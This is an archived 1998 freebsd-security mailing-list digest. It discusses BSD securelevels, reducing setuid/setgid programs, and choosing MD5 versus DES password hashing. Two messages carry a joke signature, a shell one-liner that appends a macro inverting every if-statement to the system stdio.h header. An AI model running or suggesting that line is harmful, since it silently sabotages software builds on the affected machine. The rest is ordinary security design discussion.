-1. These files are flagged such that they may be modified only at or before a specific securelevel, and as with now, securelevels can only go up. I'm not sure of the details yet, but for a machine not relying on DHCP/NFS partitions (rely==root, usr, etc) the following might work: -1 - fsck, mount first few file systems, clean up mess 0 - install ipfw filters, start logging daemons, etc 1 - ... (lock down on mount changes) 2 - ... (lock down on network config changes) (etc) x - raise network interfaces It was also my thought that some network interface configuration might be locked down above a certain securelevel. In the case of a firewall machine, wouldn't it be great if, even thought there was a root compromise, the attacker could not make any connections to the internal network, and couldn't even do anything as simple as change the interface's IP address or routing? :) Robert N Watson ---- Carnegie Mellon University http://www.cmu.edu/ Trusted Information Systems http://www.tis.com/ SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org http://www.watson.org/~robert/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 11:24:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA09960 for freebsd-security-outgoing; Sun, 19 Apr 1998 11:24:25 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (root@FLEDGE.RES.CMU.EDU [128.2.91.116]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA09815 for ; Sun, 19 Apr 1998 18:23:56 GMT (envelope-from robert@cyrus.watson.org) Received: from trojanhorse.pr.watson.org (trojanhorse.pr.watson.org [192.0.2.10]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id OAA28645; Sun, 19 Apr 1998 14:23:50 -0400 (EDT) Date: Sun, 19 Apr 1998 14:23:36 -0400 (EDT) From: Robert Watson X-Sender: robert@trojanhorse.pr.watson.org Reply-To: Robert Watson To: Marc Slemko cc: Niall Smart , freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Marc Slemko wrote: > Erm... that is an extremely poor policy. Figuring out what needs to be > setuid or setgid to what isn't trivial. I'm not sure what you are trying > to save here. What is the real issue if someone compromises the user or > group uucp? I guess that uucico, which is setgid to dialer, gives them > something. If they compromise the uucp uid then they can mess with the > uuucp binaries which someone may try to run sometime for some reason, but > I really don't see how it is enough to warrant shipping broken programs. There are two issues here, I think: 1) Reduce suid root programs to limit the ability to gain system administration abilities 2) Reduce the ability of a compromise of any account from spreading A compromisable binary allows user x to execute code as user y. Since the UNIX security model is protection along user boundaries, this is a problem. Auditing (where done at all) us usually done by a combination of uid and pid. If I don't run UUCP, there's no reason that users aware of a bug should be able to execute code as any account except for their own. I know -- fix the suid program. But we have to deal with the reality that bugs are constantly found in suid programs. Just look at the OpenBSD cvs log :). One answer is to reduce the suid code base. Additionally, and this is a minor point -- for a program to be suid to some account, it must be owned by that account user. However, it also exists in the standard path of all of the users (/usr/bin is in the path of most people I know :). I'd much rather have all the files in the standard executable path only be owned by bin.bin or root.wheel or whatever. The majority are, of course, but the UUCP ones definitely aren't. This is clearly not as bad as having '.' in your path, but it is not great. Also -- a quick fun note. Always chmod u-s a buggy program before rm'ing it. You never know what hard links are lying around :). Robert N Watson ---- Carnegie Mellon University http://www.cmu.edu/ Trusted Information Systems http://www.tis.com/ SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org http://www.watson.org/~robert/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 11:28:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA11071 for freebsd-security-outgoing; Sun, 19 Apr 1998 11:28:18 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA11010 for ; Sun, 19 Apr 1998 18:28:09 GMT (envelope-from marcs@znep.com) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id MAA29274; Sun, 19 Apr 1998 12:26:45 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id MAA18182; Sun, 19 Apr 1998 12:25:40 -0600 (MDT) Date: Sun, 19 Apr 1998 12:25:40 -0600 (MDT) From: Marc Slemko To: Karl Denninger cc: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: <19980419124742.02609@mcs.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Karl Denninger wrote: > Things like "ccdconfig" simply don't need to be run as a user process. > If someone is going to be setting up a ccd set, they are ALREADY going to > be root! Erm... but if someone wants to see what ccds are configured, they don't need to be root and shouldn't. Same thing with netstat, etc. > > Take the permissions off these things folks. They don't need to be there, > and exporting things like this to the user community serves, IMHO, ZERO > purpose. Then your definition of zero is different than mine. > > Administrative functions should remain accessible only with administrative > privileges. If someone wants to override that, they can SUID/SGID the > appropriate binaries themselves. There is a big difference between administrative functions and letting a user know how things are configured. > > The same, by the way, goes for a lot of other things. > > I see the sanity in SUIDing "ping" for example, since it needs to be root to > get the raw socket which it must use in order to create the ICMP packets to > send. Same with traceroute. > > But the huge majority of SUID things out there? They are nothing other > than a security menace. > > IMHO of course. > > This is all that is SUID here on our cluster machines in the / and /usr > directories. > [...] > > I'd love to be able to get rid of permissions on the LPD commands, but > unfortunately they really do need them. Those are the ones which, at > present, give me the most "willies" right now. > > The other thing I'd like to explore is the capability of getting rid of the > SUIDness to *root* on some of these. LPR, for example, doesn't need to be > SUID to root - it may need to be SUID to some safe UID, but root simply > isn't required - it attaches to a *non privileged* IP port. But if someone can break the uid that lpr runs as then they can probably break root anyway. You need more work than just saying "we shall change the uid" to make it secure. Yes, improvements are possible and the work has already been done in various lpd replacements. But it isn't as simple as declaring that it shall work and having it be so. > > Same with crontab, at and batch. *CRON* needs to run as root, but crontab > and friends DO NOT. They need to be SUID to something, but again, not root. But if someone can break the uid that crontab runs as, they have root anyway. > > Sendmail and friends need to be root long enough to bind to port 25. But > after that, they could switch to another UID and STAY THERE. Local delivery > agents need to be SUID to root on their own, but sendmail doesn't need to run > that way other than long enough to perform the BIND to the port. No, it (the way it is currently coded) needs to keep at least a saved uid of root so that it can start refusing connections when the load gets high, etc. Going wild with saying "oh, this can just use some other user" is great but it isn't as simple as saying it is the case. There are real reasons why many things do use root and why arbitrarily creating some other user for them doesn't add any security but just creates another user that, when compromised, give easy root. You have to understand exactly why each program has the privs that it currently does and fully understand the impact of changing it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 11:39:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA14136 for freebsd-security-outgoing; Sun, 19 Apr 1998 11:39:33 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ady.warpnet.ro (ady.warpnet.ro [193.230.201.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA13934 for ; Sun, 19 Apr 1998 18:38:47 GMT (envelope-from ady@warpnet.ro) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.8.8/8.8.8) with SMTP id AAA03667 for ; Mon, 20 Apr 1998 00:38:12 +0300 (EEST) (envelope-from ady@warpnet.ro) Date: Mon, 20 Apr 1998 00:38:12 +0300 (EEST) From: Penisoara Adrian To: freebsd-security@FreeBSD.ORG Subject: Using MD5 insted of DES for passwd ecnryption Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Hi, I observed that after installing the DES distribution on a fresh non-DES system (or when installing from the beginning with DES) the next passwords created/modified will be DES-encrypted instead of using MD5. How can one control which kind of encryption is to be used by the system for password encryption ? For example I want to use only MD5 for passwords encryption but I need the DES libraries to be available (because ppp/iijppp needs them -- probably in conjuction with CHAP/PAP authentication). Taking a closer look at the DES distribution it seems that trigger of "changing" the encryption style might be a new /sbin/init that overwrites the old one -- does this mean that if I manually "untar" the distribution but without overwriting the standard /sbin/init I can get the DES libraries installed but without making them default for password encryption ? Also, from the [DES] crypt(3) page, it seems that the crypt() function chooses the encryption style based on the 2nd "char *setting" argument -- beeing that if it begins with "$1$" (MD5 signature ?) it will use "an exportable format" (presumably MD5 ?). Is there a possibility to "force" a specific encryption style for passwords based on this feature ? Also, another question: beeing that we plan to become an FreeBSD mirror I'd like to know what's the status/proceeding regarding to mirroring the DES/KRB/Crypto libraries/source code -- we are located in Romania, Eastern Europe, so "outside USA" export restrictions apply. Thank you, Adrian Penisoara Ady (@warpnet.ro) Warp Net Technologies To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 11:57:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA18341 for freebsd-security-outgoing; Sun, 19 Apr 1998 11:57:51 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mph124.rh.psu.edu (mph@MPH124.rh.psu.edu [128.118.126.83]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA18333 for ; Sun, 19 Apr 1998 18:57:45 GMT (envelope-from mph@mph124.rh.psu.edu) Received: (from mph@localhost) by mph124.rh.psu.edu (8.8.8/8.8.8) id OAA14602; Sun, 19 Apr 1998 14:57:44 -0400 (EDT) (envelope-from mph) Message-ID: <19980419145743.46300@mph124.rh.psu.edu> Date: Sun, 19 Apr 1998 14:57:43 -0400 From: Matthew Hunt To: Penisoara Adrian , freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption Mail-Followup-To: Penisoara Adrian , freebsd-security@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Penisoara Adrian on Mon, Apr 20, 1998 at 12:38:12AM +0300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Mon, Apr 20, 1998 at 12:38:12AM +0300, Penisoara Adrian wrote: > How can one control which kind of encryption is to be used by the > system for password encryption ? For example I want to use only MD5 > for passwords encryption but I need the DES libraries to be available > (because ppp/iijppp needs them -- probably in conjuction with CHAP/PAP > authentication). I think it's just controlled by which library the libcrypt symbolic link points to. I have both DES and MD5 on my machine, but passwords are generated with MD5. $ ls -l /usr/lib/lib*crypt* lrwxrwxrwx 1 root bin 11 May 12 1997 /usr/lib/libcrypt.a -> libscrypt.a lrwxrwxrwx 1 root bin 16 May 12 1997 /usr/lib/libcrypt.so.2.0 -> libscrypt.so.2.0 -r--r--r-- 1 bin bin 10706 Apr 10 13:02 /usr/lib/libdescrypt.a -r--r--r-- 1 bin bin 16698 Apr 10 13:02 /usr/lib/libdescrypt.so.2.0 -r--r--r-- 1 bin bin 4560 Dec 20 09:33 /usr/lib/libscrypt.a -r--r--r-- 1 bin bin 12579 Dec 20 09:33 /usr/lib/libscrypt.so.2.0 (libscrypt is the MD5 library, libdescrypt is of course the DES library.) -- Matthew Hunt * Stay close to the Vorlon. http://mph124.rh.psu.edu/~mph/pgp.key for PGP public key 0x67203349. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 12:22:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA22378 for freebsd-security-outgoing; Sun, 19 Apr 1998 12:22:21 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ady.warpnet.ro (ady.warpnet.ro [193.230.201.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA22321 for ; Sun, 19 Apr 1998 19:21:37 GMT (envelope-from ady@warpnet.ro) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.8.8/8.8.8) with SMTP id BAA03875; Mon, 20 Apr 1998 01:21:11 +0300 (EEST) (envelope-from ady@warpnet.ro) Date: Mon, 20 Apr 1998 01:21:10 +0300 (EEST) From: Penisoara Adrian To: freebsd-security@FreeBSD.ORG cc: Matthew Hunt Subject: Re: Using MD5 insted of DES for passwd ecnryption In-Reply-To: <19980419145743.46300@mph124.rh.psu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Hi, On Sun, 19 Apr 1998, Matthew Hunt wrote: > I think it's just controlled by which library the libcrypt symbolic > link points to. I have both DES and MD5 on my machine, but passwords > are generated with MD5. > > $ ls -l /usr/lib/lib*crypt* > lrwxrwxrwx 1 root bin 11 May 12 1997 /usr/lib/libcrypt.a -> libscrypt.a > lrwxrwxrwx 1 root bin 16 May 12 1997 /usr/lib/libcrypt.so.2.0 -> libscrypt.so.2.0 > -r--r--r-- 1 bin bin 10706 Apr 10 13:02 /usr/lib/libdescrypt.a > -r--r--r-- 1 bin bin 16698 Apr 10 13:02 /usr/lib/libdescrypt.so.2.0 > -r--r--r-- 1 bin bin 4560 Dec 20 09:33 /usr/lib/libscrypt.a > -r--r--r-- 1 bin bin 12579 Dec 20 09:33 /usr/lib/libscrypt.so.2.0 I think you're right ! Here it is my "current" (971117-SNAP) system: lrwxrwxrwx 1 root bin 13 Nov 21 09:14 /usr/lib/libcrypt.a -> libdescrypt.a lrwxrwxrwx 1 root bin 18 Nov 21 09:14 /usr/lib/libcrypt.so.2.0 -> libdescrypt.so.2.0 lrwxrwxrwx 1 root bin 15 Nov 21 09:14 /usr/lib/libcrypt_p.a -> libdescrypt_p.a -r--r--r-- 1 bin bin 10770 Nov 17 12:06 /usr/lib/libdescrypt.a -r--r--r-- 1 bin bin 16698 Nov 17 12:06 /usr/lib/libdescrypt.so.2.0 -r--r--r-- 1 bin bin 12426 Nov 17 12:06 /usr/lib/libdescrypt_p.a -r--r--r-- 1 bin bin 4616 Nov 17 12:06 /usr/lib/libscrypt.a -r--r--r-- 1 bin bin 12579 Nov 17 12:06 /usr/lib/libscrypt.so.2.0 -r--r--r-- 1 bin bin 5104 Nov 17 12:06 /usr/lib/libscrypt_p.a [ BTW, what is(was?) the lib*crypt_p.* stuff ? ] So what does accomplish the installation of the new /sbin/init which comes with the DES distribution then ? > > > -- > Matthew Hunt * Stay close to the Vorlon. > http://mph124.rh.psu.edu/~mph/pgp.key for PGP public key 0x67203349. > Adrian Penisoara Ady (@warpnet.ro) Warp Net Technologies To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 12:42:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA25916 for freebsd-security-outgoing; Sun, 19 Apr 1998 12:42:01 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from passer.osg.gov.bc.ca (0@passer.osg.gov.bc.ca [142.32.110.29]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA25773 for ; Sun, 19 Apr 1998 19:41:46 GMT (envelope-from cy@cschuber.net.gov.bc.ca) Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.8.8/8.6.10) id MAA16745; Sun, 19 Apr 1998 12:41:37 -0700 (PDT) Received: from cschuber.net.gov.bc.ca(142.31.240.113), claiming to be "cwsys.cwsent.com" via SMTP by passer.osg.gov.bc.ca, id smtpdaaqkra; Sun Apr 19 12:41:28 1998 Received: (from uucp@localhost) by cwsys.cwsent.com (8.8.8/8.6.10) id MAA23123; Sun, 19 Apr 1998 12:41:25 -0700 (PDT) Message-Id: <199804191941.MAA23123@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpd023111; Sun Apr 19 12:40:33 1998 X-Mailer: exmh version 2.0.1 12/23/97 Reply-to: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: cy To: Robert Watson cc: Cy Schubert - ITSD Open Systems Group , Philippe Regnauld , freebsd-security@FreeBSD.ORG Subject: Re: kernel permissions In-reply-to: Your message of "Sun, 19 Apr 1998 14:09:43 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 19 Apr 1998 12:40:31 -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > > I think I may not have expressed my proposal in the best possible way. My O.K. > following might work: > > -1 - fsck, mount first few file systems, clean up mess > 0 - install ipfw filters, start logging daemons, etc > 1 - ... (lock down on mount changes) > 2 - ... (lock down on network config changes) > (etc) > x - raise network interfaces The BSD kernel normally starts out at securelevel 0. Once init has initialized, e.g. run the rc scripts, the kernel automatically raises the securelevel to 1 if it hasn't been raised to a higher securelevel. Securelevel -1 is a special case. If securelevel -1 is hard coded into the kernel, as is done in FreeBSD, the kernel will not automatically raise the securelevel. In short, securelevel -1 tells the kernel to leave the system at a securelevel 0 state permanently. What you're suggesting here is breaking the existing semantics. Currently the securelevel semantics are, -1 = permanently insecure mode, always run at securelevel 0 regardless of the system state (this must be compiled in the kernel, otherwise securelevel 0 is used during boot) 0 = temporarily insecure mode, immutable and append-only flags may be turned off; and all devices may be read/written. 1 = secure mode, immutable and append-only flags cannot be cleared, mounted disks and kernel memory are read-only. 2 = highly secure mode, same as securelevel 1 except all disks are read-only regardless whether they are mounted or not. For this discussion securelevel -1 is irrelevant. Securelevels > 2 are not defined, however as stated earlier in this discussion the kernel does disallow altering of the ipfw configuration at securelevel > 2. I would think that the designers of the BSD kernel probably had planned to expand on the securelevels in a future release, had they had the opportunity to. What does all of this mean? It is clear to see that the BSD designers had only documented filesystem semantics when describing securelevels. We also see from the example quoted from ip_fw.c that securelevels > 2 were being considered by the BSD designers. Is it possible that securelevels 0-2 are to address local security and securelevels > 2 are to address network security. Here is an alternative strawman, -1 - permanently insecure, never used on a secure box (used for most desktops and home systems) 0 - insecure mode, start all daemons, mount all filesystems 1 - BSD secure mode (described above) 2 - BSD highly secure mode (described above) 3 - Network secure mode, ipfw and network interfaces cannot be altered after they have been raised, routing tables cannot be altered 4 - Ultra secure mode: /, /usr, /opt remounted read-only (by the kernel), no mounts/umounts possible, raw disk devices cannot be read, NFS requests no longer honoured 5 - Ultra Ultra (for the lack of a better name) secure mode, stack becomes non-executable don't honour setuid bit (?), arp cache can no longer be altered (?) ... - and so on... Any thoughts? Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Open Systems Group Internet: cschuber@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Government of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 12:42:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA26039 for freebsd-security-outgoing; Sun, 19 Apr 1998 12:42:48 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (ts01-10.waterford.indigo.ie [194.125.139.73]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA25981 for ; Sun, 19 Apr 1998 19:42:15 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id UAA01293; Sun, 19 Apr 1998 20:39:48 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804191939.UAA01293@indigo.ie> Date: Sun, 19 Apr 1998 20:39:48 +0000 In-Reply-To: Marc Slemko "Re: suid/sgid programs" (Apr 19, 12:25pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Marc Slemko , Karl Denninger Subject: Re: suid/sgid programs Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 19, 12:25pm, Marc Slemko wrote: } Subject: Re: suid/sgid programs > On Sun, 19 Apr 1998, Karl Denninger wrote: > > > Things like "ccdconfig" simply don't need to be run as a user process. > > If someone is going to be setting up a ccd set, they are ALREADY going to > > be root! > > Erm... but if someone wants to see what ccds are configured, they don't > need to be root and shouldn't. So you want an extra sgid kmem utility just because you like your curious users to be able to see what your ccd configuration is? How useful is that? Not very. Do it locally if you really must. Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 12:47:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA27531 for freebsd-security-outgoing; Sun, 19 Apr 1998 12:47:45 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (ts01-10.waterford.indigo.ie [194.125.139.73]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA27336 for ; Sun, 19 Apr 1998 19:47:20 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id UAA01313; Sun, 19 Apr 1998 20:45:31 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804191945.UAA01313@indigo.ie> Date: Sun, 19 Apr 1998 20:45:30 +0000 In-Reply-To: Marc Slemko "Re: suid/sgid programs" (Apr 19, 12:25pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Marc Slemko , Karl Denninger Subject: Re: suid/sgid programs Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > But if someone can break the uid that lpr runs as then they can probably > break root anyway. How? Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 13:07:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA03177 for freebsd-security-outgoing; Sun, 19 Apr 1998 13:07:38 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from d183-205.uoregon.edu (d183-205.uoregon.edu [128.223.183.205]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA03155 for ; Sun, 19 Apr 1998 20:07:24 GMT (envelope-from gurney_j@efn.org) Received: (from jmg@localhost) by d183-205.uoregon.edu (8.8.7/8.8.7) id NAA24546; Sun, 19 Apr 1998 13:07:12 -0700 (PDT) Message-ID: <19980419130711.01465@hydrogen.nike.efn.org> Date: Sun, 19 Apr 1998 13:07:11 -0700 From: John-Mark Gurney To: Cy Schubert - ITSD Open Systems Group Cc: Robert Watson , Philippe Regnauld , freebsd-security@FreeBSD.ORG Subject: Re: kernel permissions References: <199804191941.MAA23123@cwsys.cwsent.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <199804191941.MAA23123@cwsys.cwsent.com>; from Cy Schubert - ITSD Open Systems Group on Sun, Apr 19, 1998 at 12:40:31PM -0700 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Cy Schubert - ITSD Open Systems Group scribbled this message on Apr 19: > The BSD kernel normally starts out at securelevel 0. Once init has > initialized, e.g. run the rc scripts, the kernel automatically raises > the securelevel to 1 if it hasn't been raised to a higher securelevel. > > Securelevel -1 is a special case. If securelevel -1 is hard coded into > the kernel, as is done in FreeBSD, the kernel will not automatically > raise the securelevel. In short, securelevel -1 tells the kernel to > leave the system at a securelevel 0 state permanently. you know, there is a security hole in the /etc/rc scripts... inetd is run before the /etc/rc scripts are finished, which means that there is a [significant] amount of time where inetd is started but the machine hasn't raised the securelevel of the system... this can be compounded if you have atalk on the system as it will take a while to start up making the window all that much larger... -- John-Mark Gurney Modem Rev/FAX: +1 541 346 9237 Cu Networking P.O. Box 5693, 97405 Live in Peace, destroy Micro$oft, support free software, run FreeBSD Don't trust anyone you don't have the source for To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 13:30:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA06160 for freebsd-security-outgoing; Sun, 19 Apr 1998 13:30:20 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (root@FLEDGE.RES.CMU.EDU [128.2.91.116]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA06151 for ; Sun, 19 Apr 1998 20:30:16 GMT (envelope-from robert@cyrus.watson.org) Received: from trojanhorse.pr.watson.org (trojanhorse.pr.watson.org [192.0.2.10]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id QAA29744; Sun, 19 Apr 1998 16:29:46 -0400 (EDT) Date: Sun, 19 Apr 1998 16:29:31 -0400 (EDT) From: Robert Watson X-Sender: robert@trojanhorse.pr.watson.org Reply-To: Robert Watson To: John-Mark Gurney cc: Cy Schubert - ITSD Open Systems Group , Philippe Regnauld , freebsd-security@FreeBSD.ORG Subject: Re: kernel permissions In-Reply-To: <19980419130711.01465@hydrogen.nike.efn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, John-Mark Gurney wrote: > you know, there is a security hole in the /etc/rc scripts... > > inetd is run before the /etc/rc scripts are finished, which means that > there is a [significant] amount of time where inetd is started but the > machine hasn't raised the securelevel of the system... this can be > compounded if you have atalk on the system as it will take a while to > start up making the window all that much larger... My feeling was that the secure level needed to be raised before a number of the daemons start to prevent any racing conditions, and hence having a number of securelevels, gradually increasing the restrictions on the system as possible during the boot process (i.e., as soon as ipfw is configured correctly, disallow modification of ipfw settings, etc). Would using multiple rc scripts be desirable, or should we just have... rc: ... (trusted daemons) # bump securelevel sysctl -w kern.securelevel=2 ... (less trusted daemons) # bump securelevel sysctl -w kern.securelevel=3 ... (least trusted daemons) And so on. Robert N Watson ---- Carnegie Mellon University http://www.cmu.edu/ Trusted Information Systems http://www.tis.com/ SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org http://www.watson.org/~robert/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 14:23:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA14418 for freebsd-security-outgoing; Sun, 19 Apr 1998 14:23:22 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA14326 for ; Sun, 19 Apr 1998 21:22:48 GMT (envelope-from marcs@znep.com) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id PAA04053; Sun, 19 Apr 1998 15:22:41 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id PAA19448; Sun, 19 Apr 1998 15:16:29 -0600 (MDT) Date: Sun, 19 Apr 1998 15:16:29 -0600 (MDT) From: Marc Slemko Reply-To: Marc Slemko To: Niall Smart cc: freebsd-security@FreeBSD.ORG Subject: Re: suid/sgid programs In-Reply-To: <199804191945.UAA01313@indigo.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sun, 19 Apr 1998, Niall Smart wrote: > > But if someone can break the uid that lpr runs as then they can probably > > break root anyway. > > How? Because they then have full access to the queue directory that lpd reads from and lpd does run as root so it can access the files people want to print. Also note that if you do change lpr to be setuid to another user, then you still have to make it schg so someone who compromises it can't replace the binary. Earlier in 2.2.x or something like that, man was made setuid to allow "secure" caching of formatted man pages. It was setuid to its own user so it is "safe", the only problem was that it was trivial to compromise that user and replace the man binary so anyone who uses man is compromised. Now man is schg to avoid that, aside from the holes I could find being fixed. The whole issue here is that one of the reasons why man wasn't viewed as a threat was because "oh, it is safe because it runs as a non-root uid". Encouraging the changing of other utilities to run as other uids without being sure all the trust relationships are clear can actually reduce security. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sun Apr 19 14:30:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA15582 for freebsd-security-outgoing; Sun, 19 Apr 1998 14:30:08 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gatekeeper.alcatel.com.au (gatekeeper.alcatel.com.au [203.17.66.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA15508 for ; Sun, 19 Apr 1998 21:29:59 GMT (envelope-from Peter.Jeremy@alcatel.com.au) Received: from mfg1.cim.alcatel.com.au ([139.188.23.1]) by gatekeeper.alcatel.com.au (PMDF V5.1-7 #U2695) with 